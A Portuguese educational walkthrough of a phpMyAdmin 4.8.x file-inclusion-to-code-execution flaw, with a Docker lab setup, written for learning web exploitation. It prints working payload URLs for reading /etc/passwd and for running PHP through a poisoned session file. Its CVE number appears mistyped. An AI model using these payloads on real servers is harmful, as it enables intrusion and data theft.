
Demonstração educacional de exploit para CVE-2018-1263 (phpMyAdmin RCE/LFI). Inclui configuração de ambiente vulnerável via Docker e passo a passo do ataque para aprender exploração de aplicações web.
Este guia ajudará você a instalar o componente vulnerável e realizar o ataque relacionado ao bug do phpMyAdmin mencionado no CVE-2018-1263.
Este exploit está relacionado a um problema descoberto no phpMyAdmin versão 4.8.x anterior à 4.8.2. Ao explorar o problema, um atacante pode realizar execução remota de código e inclusão local de arquivos no servidor. A vulnerabilidade se deve à parte do código responsável por redirecionar e carregar páginas dentro do phpMyAdmin. O código tem um teste defeituoso para páginas na lista de permissões, o que torna o ataque possível. O atacante deve estar autenticado, exceto no caso de "$cfg['AllowArbitraryServer'] = true" (onde um atacante pode especificar qualquer host que já controla e executar código arbitrário no phpMyAdmin) e no caso "$cfg['ServerDefault'] = 0" (que ignora o requisito de login e executa o código vulnerável sem qualquer autenticação).
A vulnerabilidade é causada por um desvio de validação na função de verificação de caminho vulnerável. Essa vulnerabilidade permite que um atacante remoto autenticado execute código PHP arbitrário no servidor.
Há uma inclusão de arquivo no index.php do phpMyAdmin que pode ser acionada ao fornecer um parâmetro chamado target na URL e a parte do código que valida o parâmetro target se parece com o seguinte
$target_blacklist = array (
'import.php', 'export.php'
);
// If we have a valid target, let's load that script instead
if (! empty($_REQUEST['target'])
&& is_string($_REQUEST['target'])
&& ! preg_match('/^index/', $_REQUEST['target'])
&& ! in_array($_REQUEST['target'], $target_blacklist)
&& Core::checkPageValidity($_REQUEST['target'])
) {
include $_REQUEST['target'];
exit;
}
// ...
Neste código, uma vez que a condição if é satisfeita, ele executa include $_REQUEST['target'];. Então, precisamos apenas contornar a condição if para executar o que desejamos.
Vamos examinar a condição if
$target_blacklist
$target_blacklist é definido logo antes da condição if e inclui import.php e export.php, significando que qualquer coisa exceto essas duas páginas é permitida.Core::checkPageValidity($_REQUEST['target']).
checkPageValidity remove tudo após ? de $page e verifica se está na lista de permissões. A string após ? não faz parte do caminho da URL. Um exemplo de lista de permissões também é mostrado no trecho de código.public static function checkPageValidity(&$page, array $whitelist = [])
{
// ...
$_page = mb_substr($page, 0, mb_strpos($page . '?', '?'));
// example $whitelist == array('db_sql.php', 'sql.php', ...)
if (in_array($_page, $whitelist)) {
return true;
}
// ...
return false;
}
$page, pois vem diretamente de $_REQUEST['target'].Conforme mencionado anteriormente, o atacante tem controle total sobre $page na função checkPageValidity através do parâmetro $_REQUEST['target'] na URL. Vamos imaginar que o atacante envia algo como o seguinte usando o parâmetro $_REQUEST['target'] para $page
$page = 'db_sql.php?/../../../../../../../../etc/passwd'
A função checkPageValidity então realiza o seguinte
? e atribui a primeira parte a $page. Portanto, neste exemplo, o valor de $page = db_sql.php.$_page, ou seja, db_sql.php, está na lista de permissões ou não? Como está na lista de permissões, a função retorna True e volta para index.phpComo a condição if em index.php agora é True, ela executa a seguinte linha conforme mostrado no trecho de código index.php acima
include $_REQUEST['target'];
O que acontece a seguir é
$_REQUEST['target'], o que significa que o seguinte é executado
GET /index.php?target=db_sql.php?/../../../../../../../../etc/passwd
db_sql.php existe ou não, o /../../../../../../../../etc/passwd é executado e o conteúdo do arquivo /etc/passwd é enviado na resposta de volta ao atacante.Agora podemos usar isso para realizar inclusão local de arquivos ou até mesmo execução remota de código para obter uma reverse shell. Sempre que executamos uma consulta no phpMyAdmin, ele cria um arquivo de sessão e armazena no diretório /tmp com o conteúdo da consulta. O arquivo de sessão é nomeado como sess_< SESSION ID >. O ID da sessão pode ser facilmente encontrado no cookie usando a opção de inspecionar do navegador.
Então, se executarmos a seguinte consulta no phpMyAdmin
SELECT '<?php phpinfo();exit;?>'
Será armazenado no arquivo de sessão. Vamos imaginar que nosso ID de sessão para o phpMyAdmin é e15cffd3ab25a631136611fba9ca2042
Então, se acionarmos o seguinte endereço no navegador
http://your-ip:8080/index.php?target=db_sql.php?/../../../../../../../../tmp/sess_e15cffd3ab25a631136611fba9ca2042
Então o phpMyAdmin tentará carregar a página da sessão e, como a página contém o código PHP fornecido através da consulta, o código PHP será executado e, neste exemplo específico, veremos o phpinfo na página carregada pelo navegador. Usando esta técnica, podemos executar qualquer código arbitrário no servidor remoto.
A infraestrutura do exploit requer uma versão vulnerável do phpMyAdmin e mysql. Usaremos contêineres Docker para instalar os componentes necessários. Para a versão vulnerável do phpMyAdmin, usaremos um ambiente Docker pré-construído do Vulhub e para mysql usaremos a versão oficial mais recente do dockerhub. O script de instalação é fornecido como um script docker compose yml que pode ser encontrado no repositório.
Presumimos que a máquina em questão tenha docker e docker-compose instalados. Caso contrário, consulte a documentação do docker para instalá-los. Uma vez que o docker esteja instalado, execute os seguintes passos para configurar o componente vulnerável:
Primeiro, clone o repositório na sua máquina pretendida e navegue até o diretório clonado
git clone [email protected]:msnkhan/exploit-demo.git
cd exploit-demo
Em seguida, execute o script docker compose usando o seguinte comando
sudo docker-compose up -d
Quando o processo de instalação for concluído, o docker exporá a página do phpMyAdmin na porta 8080 da sua máquina. Você pode verificar abrindo a página no seu navegador usando o seguinte formato de endereço
http://your-machine-ip:8080
Se o processo de instalação for bem-sucedido, você deverá ver uma página como a seguinte
